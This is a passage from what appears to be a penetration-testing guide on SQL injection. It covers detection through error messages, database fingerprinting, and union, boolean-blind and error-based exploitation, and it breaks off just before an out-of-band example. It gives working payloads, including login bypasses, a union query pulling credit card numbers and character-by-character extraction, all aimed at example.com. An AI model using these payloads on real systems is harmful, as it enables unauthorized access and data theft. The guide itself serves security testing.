exploit SQL injection flaws there are five commons techniques. Also those&lt;br /&gt;
techniques sometimes can be used in a combined way (e.g. union operator and&lt;br /&gt;
out-of-band):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.&lt;br /&gt;
* Boolean: use Boolean condition to verify      if certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the      database to generate an error making&lt;br /&gt;
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.&lt;br /&gt;
 &lt;br /&gt;
==SQL Injection Detection ==&lt;br /&gt;
 &lt;br /&gt;
The first step in this test is to understand when the&lt;br /&gt;
application connects to a DB Server in order to access some data. Typical&lt;br /&gt;
examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database&lt;br /&gt;
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.&lt;br /&gt;
 &lt;br /&gt;
The tester has to make a list of all input fields&lt;br /&gt;
whose values could be used in crafting a SQL query, including the hidden fields&lt;br /&gt;
of POST requests and then test them separately, trying to interfere with the&lt;br /&gt;
query and to generate an error. Consider also HTTP headers and Cookies. The&lt;br /&gt;
very first test usually consists of adding a single quote (') or a semicolon&lt;br /&gt;
(;) to the field under test. The first is used in SQL as a string terminator&lt;br /&gt;
and, if not filtered by the application, would lead to an incorrect query. The&lt;br /&gt;
second is used to end a SQL statement and, if it is not filtered, it is also&lt;br /&gt;
likely to generate an error. The output of a vulnerable field might resemble&lt;br /&gt;
the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;character string ''.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND'&lt;br /&gt;
and 'OR' can be used to try to modify the query. A very simple but sometimes&lt;br /&gt;
still effective technique is simply to insert a string where a number is&lt;br /&gt;
expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; varchar value 'test' to a column of data type int.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Monitor all the responses from the web server and have&lt;br /&gt;
a look at the HTML/javascript source code. Sometimes&lt;br /&gt;
the error is present inside them but for some reason (e.g. javascript&lt;br /&gt;
error) is not presented to the user. A full error message, like those in the&lt;br /&gt;
examples, provides a wealth of information to the tester in order to mount a&lt;br /&gt;
successful injection. However, applications often do not provide so much&lt;br /&gt;
detail: a simple '500 Server Error' or a custom error page might be issued,&lt;br /&gt;
meaning that we need to use blind injection techniques. In any case, it is very&lt;br /&gt;
important to test each field separately: only one variable must vary while all&lt;br /&gt;
the other remain constant, in order to precisely understand which parameters&lt;br /&gt;
are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
 &lt;br /&gt;
Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
A similar query is generally used from the web&lt;br /&gt;
application in order to authenticate a user. If the query returns a value it&lt;br /&gt;
means that inside the database a user with that&lt;br /&gt;
credentials exists, then the user is allowed to login to the system, otherwise&lt;br /&gt;
the access is denied. The values of the input fields are generally obtained&lt;br /&gt;
from the user through a web form. Suppose we insert the following Username and&lt;br /&gt;
Password values:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If we suppose that the values of the parameters are&lt;br /&gt;
sent to the server through the GET method, and if the domain of the vulnerable&lt;br /&gt;
web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After a short analysis we notice that the query&lt;br /&gt;
returns a value (or a set of values) because the condition is always true (OR&lt;br /&gt;
1=1). In this way the system has authenticated the user without knowing the&lt;br /&gt;
username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator&lt;br /&gt;
user. This may be the profile returned in some cases.'' Another example of&lt;br /&gt;
query is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this case, there are two problems, one due to the&lt;br /&gt;
use of the parentheses and one due to the use of MD5 hash function. First of&lt;br /&gt;
all, we resolve the problem of the parentheses. That simply consists of adding&lt;br /&gt;
a number of closing parentheses until we obtain a corrected query. To resolve&lt;br /&gt;
the second problem, we try to invalidate the second condition. We add to our&lt;br /&gt;
query a final symbol that means that a comment is beginning. In this way,&lt;br /&gt;
everything that follows such symbol is considered a comment. Every DBMS has its&lt;br /&gt;
own symbols of comment, however, a common symbol to the greater part of the&lt;br /&gt;
database is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values&lt;br /&gt;
that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The URL request will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This returns a number of values. Sometimes, the&lt;br /&gt;
authentication code verifies that the number of returned tuple&lt;br /&gt;
is exactly equal to 1. In the previous examples, this situation would be&lt;br /&gt;
difficult (in the database there is only one value per user). In order to go&lt;br /&gt;
around this problem, it is enough to insert a SQL command that imposes the&lt;br /&gt;
condition that the number of the returned tuple must&lt;br /&gt;
be one. (One record returned) In order to reach this goal, we use the operator&lt;br /&gt;
&amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the tuples that we expect to be returned. With respect to the&lt;br /&gt;
previous example, the value of the fields Username and&lt;br /&gt;
Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester&lt;br /&gt;
try a valid value (e.g. 10 in this case), the application will return the&lt;br /&gt;
description of a product.&lt;br /&gt;
A good way to test if the application is vulnerable in this scenario&lt;br /&gt;
is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=10&lt;br /&gt;
AND 1=2&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return&lt;br /&gt;
some message telling us there is no content available or a blanket page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This second example can also be used to test Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Depending on the API which the web application is using&lt;br /&gt;
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to&lt;br /&gt;
execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO&lt;br /&gt;
users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row&lt;br /&gt;
and independent on the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Fingerprinting the Database ===&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard,&lt;br /&gt;
every DBMS has its peculiarity and differs from each other in many aspects like&lt;br /&gt;
especial commands, functions to retrieve data such as users names and&lt;br /&gt;
databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection&lt;br /&gt;
exploitation they need to know the backend.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1) The first way to find out which is the backend is by&lt;br /&gt;
observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Oracle:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Server:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Unclosed quotation mark after the character string&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message,&lt;br /&gt;
the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
==Exploitation techniques ==&lt;br /&gt;
 &lt;br /&gt;
=== Union Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used&lt;br /&gt;
in SQL injections to join a query, purposely forged by the tester, to the&lt;br /&gt;
original query. The result of the forged query will be joined to the result of&lt;br /&gt;
the original query, allowing the tester to obtain the values of fields of other&lt;br /&gt;
tables. We suppose for our examples that the query executed from the server is&lt;br /&gt;
the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following&lt;br /&gt;
Id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1&lt;br /&gt;
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following&lt;br /&gt;
query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
which will join the result of the original query&lt;br /&gt;
with all the credit card users. The keyword '''ALL''' is necessary to get&lt;br /&gt;
around queries that use the keyword DISTINCT. Moreover, we notice that beyond&lt;br /&gt;
the credit card numbers, we have selected other two values. These two values&lt;br /&gt;
are necessary, because the two query must have an&lt;br /&gt;
equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first&lt;br /&gt;
information the tester need to exploit the SQL injection vulnerability using&lt;br /&gt;
such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to&lt;br /&gt;
achieve it the tester can use ORDER BY clause followed by a number indicating&lt;br /&gt;
the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester will see&lt;br /&gt;
the tester can assume, in this example, there are 10 or more columns in the&lt;br /&gt;
SELECT statement. If the query fails and there is an error message available&lt;br /&gt;
probably it would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Unknown column '10' in 'order clause'&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester find out the numbers of columns, the&lt;br /&gt;
next step is to find out the type of columns. Assuming there were 3 columns in&lt;br /&gt;
the example above, the tester could try each column type, using the NULL value&lt;br /&gt;
to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, probably the tester will see a&lt;br /&gt;
message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
All cells in a column must have the same datatype&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column&lt;br /&gt;
can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After the success exploitation, depending on the&lt;br /&gt;
application, it will show to the tester only the first result, because the&lt;br /&gt;
application treats only the first line of the result. In this case, it is&lt;br /&gt;
possible to use LIMIT like clause or the tester can set an invalid value,&lt;br /&gt;
making only the second line valid (supposing there is no entry in the database&lt;br /&gt;
which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Boolean Exploitation technique ===&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when&lt;br /&gt;
the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. For example, this&lt;br /&gt;
behavior happens in cases where the programmer has created a custom error page&lt;br /&gt;
that does not reveal anything on the structure of the query or on the database.&lt;br /&gt;
(The page does not return a SQL error, it may just&lt;br /&gt;
return a HTTP 500). &amp;lt;br&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus&lt;br /&gt;
to succeed to recover the values of some desired fields. This method consists&lt;br /&gt;
of carrying out a series of boolean&lt;br /&gt;
queries to the server, observing the answers and finally deducing the meaning&lt;br /&gt;
of such answers. We consider, as always, the www.example.com domain and we&lt;br /&gt;
suppose that it contains a parameter named id vulnerable to SQL injection. This&lt;br /&gt;
means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
we will get one page with a custom message error which&lt;br /&gt;
is due to a syntactic error in the query. We suppose that the query executed on&lt;br /&gt;
the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
which is exploitable through the methods seen previously.&lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we&lt;br /&gt;
will execute will allow us to obtain the value of the username field,&lt;br /&gt;
extracting such value character by character. This is possible through the use&lt;br /&gt;
of some standard functions, present practically in every database. For our&lt;br /&gt;
examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a&lt;br /&gt;
substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text,&lt;br /&gt;
the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A&lt;br /&gt;
null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input&lt;br /&gt;
text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on&lt;br /&gt;
the first character and, when we have discovered the value, we will pass to the&lt;br /&gt;
second and so on, until we will have discovered the entire value. The tests&lt;br /&gt;
will take advantage of the function SUBSTRING, in order to select only one&lt;br /&gt;
character at a time (selecting a single character means to impose the length&lt;br /&gt;
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so&lt;br /&gt;
that we can do numerical comparison. The results of the comparison will be done&lt;br /&gt;
with all the values of the ASCII table, until the right value is found. As an&lt;br /&gt;
example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
that creates the following query (from now on, we will&lt;br /&gt;
call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The previous example returns a result if and only if&lt;br /&gt;
the first character of the field username is equal to the ASCII value 97. If we&lt;br /&gt;
get a false value, then we increase the index of the ASCII table from 97 to 98&lt;br /&gt;
and we repeat the request. If instead we obtain a true value, we set to zero&lt;br /&gt;
the index of the ASCII table and we analyze the next character, modifying the&lt;br /&gt;
parameters of the SUBSTRING function. The problem is to understand in which way&lt;br /&gt;
we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. This is possible by&lt;br /&gt;
using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
by which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The obtained response from the server (that is HTML&lt;br /&gt;
code) will be the false value for our tests. This is enough to verify whether&lt;br /&gt;
the value obtained from the execution of the inferential query is equal to the&lt;br /&gt;
value obtained with the test executed before. Sometimes, this method does not&lt;br /&gt;
work. If the server returns two different pages as a result of two identical&lt;br /&gt;
consecutive web requests, we will not be able to discriminate the true value&lt;br /&gt;
from the false value. In these particular cases, it is necessary to use&lt;br /&gt;
particular filters that allow us to eliminate the code that changes between the&lt;br /&gt;
two requests and to obtain a template. Later on, for every inferential request&lt;br /&gt;
executed, we will extract the relative template from the response using the&lt;br /&gt;
same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the&lt;br /&gt;
problem of determining the termination condition for out tests, i.e., when we&lt;br /&gt;
should end the inference procedure. A techniques to do&lt;br /&gt;
this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the&lt;br /&gt;
value null) and the test returns the value true, then either we are done with&lt;br /&gt;
the inference procedue (we have scanned the whole&lt;br /&gt;
string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Where N is the number of characters that we have&lt;br /&gt;
analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query returns either true or false. If we obtain&lt;br /&gt;
true, then we have completed inference and, therefore, we know the value of the&lt;br /&gt;
parameter. If we obtain false, this means that the null character is present in&lt;br /&gt;
the value of the parameter, and we must continue to analyze the next parameter&lt;br /&gt;
until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of&lt;br /&gt;
queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Error based Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Error based&lt;br /&gt;
exploitation technique is useful when the tester for some reason can’t exploit&lt;br /&gt;
the SQL injection vulnerability using other technique such as UNION. The Error&lt;br /&gt;
based technique consists in forcing the database to perform some operation in&lt;br /&gt;
which the result will be an error. The point here is to try to extract some&lt;br /&gt;
data from the database and show it in the error message. This exploitation&lt;br /&gt;
technique can be different from DBMS to DBMS (check DBMS specific session).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the&lt;br /&gt;
hostname of the parameter passed to it, which is other query, the name of the&lt;br /&gt;
user. When the database looks for a hostname with the user database name, it&lt;br /&gt;
will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
ORA-292257:&lt;br /&gt;
host SCOTT unknown&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester&lt;br /&gt;
can manipulate the parameter passed to GET_HOST_NAME()&lt;br /&gt;
function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Out of band Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
This technique&lt;br /&gt;
is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. The technique consists in&lt;br /&gt;
the use of DBMS functions to perform an out of band connection and deliver the&lt;br /&gt;
results of the injected query as part of the request to the tester’s server.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Like the error&lt;br /&gt;
based techniques, each DBMS has its own functions. Check for specific DBMS&lt;br /&gt;
section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
